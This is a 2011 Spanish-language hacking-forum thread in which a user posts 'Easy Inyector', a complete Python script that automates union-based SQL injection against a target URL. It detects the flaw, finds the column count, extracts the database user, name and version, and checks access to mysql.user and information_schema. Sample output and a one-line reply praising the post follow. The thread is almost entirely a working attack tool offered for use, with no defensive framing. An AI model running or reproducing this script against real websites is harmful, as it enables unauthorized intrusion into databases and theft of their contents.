elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] Easy Inyector By Doddy H
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Easy Inyector By Doddy H  (Leído 2,214 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] Easy Inyector By Doddy H
« en: 7 Octubre 2011, 01:33 am »

Bueno esta es la primera version de este simple programa que hice en perl , en
la siguiente version le agregare otras cosas y podra scanear varios en un archivo de texto.

Esta cosa busca:

* Vulnerabilidad (obvio)
* Limite de columnas
* Informacion sobre la base de datos
* Automaticamente buscar el numero que permite mostrar informacion
* Verifica existencia de mysql.user y information.schema.tables

Código
  1. #!usr/bin/python
  2. #Easy Inyector (C) Doddy Hackman 2010
  3.  
  4. import os,sys,urllib2,re
  5.  
  6.  
  7. def clean():
  8. if sys.platform=="win32":
  9.  os.system("cls")
  10. else:
  11.  os.system("clear")
  12.  
  13.  
  14. def header() :
  15. print "\n--== Easy Inyector ==--\n"
  16.  
  17. def copyright() :
  18. print "\n\n(C) Doddy Hackman 2010\n"
  19. sys.exit(1)
  20.  
  21. def show() :
  22. print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
  23.  
  24. def toma(web) :
  25. return urllib2.urlopen(web).read()
  26.  
  27. def bypass(bypass):
  28. if bypass == "--":
  29.  return("+","--")
  30. elif bypass == "/*":
  31.  return("/**/","/*")
  32. else:
  33.  return("+","--")
  34.  
  35. def more(web,passx):
  36. pass1,pass2 = bypass(passx)
  37. print "\n[+] Searching more data\n"
  38. web1 = re.sub("hackman","concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)",web)
  39. code0 = toma(web1)
  40. if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
  41.  datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
  42.  datar = re.split("K0BRA",datax[0])
  43.  print "[+] Username :",datar[1]
  44.  print "[+] Database :",datar[2]
  45.  print "[+] Version :",datar[3],"\n"
  46. code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  47. if (re.findall("K0BRA",code1)):
  48.   print "[+] mysql.user : on"
  49. code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  50. if (re.findall("K0BRA",code2)):
  51.   print "[+] information_schema.tables : on"
  52.  
  53. def findlength(web,passx):
  54. pass1,pass2 = bypass(passx)
  55. print "\n[+] Finding columns length"
  56. number = "concat(0x4b30425241,1,0x4b30425241)"
  57. for te in range(2,30):
  58.  number = str(number)+","+"concat(0x4b30425241,"+str(te)+",0x4b30425241)"
  59.  code = toma(web+"-1"+pass1+"union"+pass1+"select"+pass1+number+pass2)
  60.  if (re.findall("K0BRA(.*?)K0BRA",code)):
  61.   numbers = re.findall("K0BRA(.*?)K0BRA",code)
  62.   print "[+] Column length :",te
  63.   print "[+] Numbers",numbers,"print data"
  64.   sql = ""
  65.   tex = te + 1
  66.   for sqlix in range(2,tex):
  67.    sql = str(sql)+","+str(sqlix)
  68.    sqli  = str(1)+sql
  69.   sqla = re.sub(numbers[0],"hackman",sqli)
  70.   more(web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla,passx)
  71.   print "\n[+] Scan Finished\n"
  72.   sys.exit(1)
  73. print "[-] Length dont found\n"
  74.  
  75.  
  76. def scan(web,passx):
  77. pass1,pass2 = bypass(passx)
  78. print "\n[+] Testing vulnerability"
  79. code = toma(web+"-1"+pass1+"union"+pass1+"select"+pass1+"1"+pass2)
  80. if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  81.  print "[+] SQLI Detected"
  82.  findlength(web,passx)
  83. else:
  84.  print "[-] Not Vulnerable"
  85.  copyright()
  86.  
  87.  
  88. header()
  89.  
  90. if len(sys.argv) != 2 :
  91. show()
  92.  
  93. else :
  94. try:
  95.  scan(sys.argv[1],"--")
  96. except:
  97.  copyright()
  98.  
  99.  
  100. #The End
  101.  



Ejemplo de uso

Código:

C:/Users/DoddyH/Desktop/Arsenal X parte 2>sqli.py http://127.0.0.1/sql.php?id=


--== Easy Inyector ==--


[+] Testing vulnerability
[+] SQLI Detected

[+] Finding columns length
[+] Column length : 3
[+] Numbers ['1', '2', '3'] print data

[+] Searching more data

[+] Username : root@localhost
[+] Database : hackman
[+] Version : 5.1.41

[+] mysql.user : on
[+] information_schema.tables : on

[+] Scan Finished



(C) Doddy Hackman 2010





« Última modificación: 8 Octubre 2011, 19:04 pm por Doddy » En línea

HIRONAKAMURA

Desconectado Desconectado

Mensajes: 14



Ver Perfil WWW
Re: [Python] Easy Inyector By Doddy H
« Respuesta #1 en: 28 Agosto 2012, 03:39 am »

 ;-)
Muy buen aporte para los que les (nos) gusta programar en Python


En línea

Todos son buenos para encontrar problemas, muy pocos para hallar soluciones.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Console By Doddy H
Scripting
BigBear 0 1,463 Último mensaje 7 Octubre 2011, 01:32 am
por BigBear
[Python] Google Inyector By dODDY h
Scripting
BigBear 0 1,725 Último mensaje 7 Octubre 2011, 01:36 am
por BigBear
[Python] HTTP Console By Doddy H
Scripting
BigBear 0 1,492 Último mensaje 7 Octubre 2011, 01:37 am
por BigBear
[Python] Phising Gen By Doddy H
Scripting
BigBear 0 1,821 Último mensaje 7 Octubre 2011, 01:39 am
por BigBear
[Python] Zapper By Doddy H
Scripting
BigBear 0 1,453 Último mensaje 7 Octubre 2011, 01:39 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines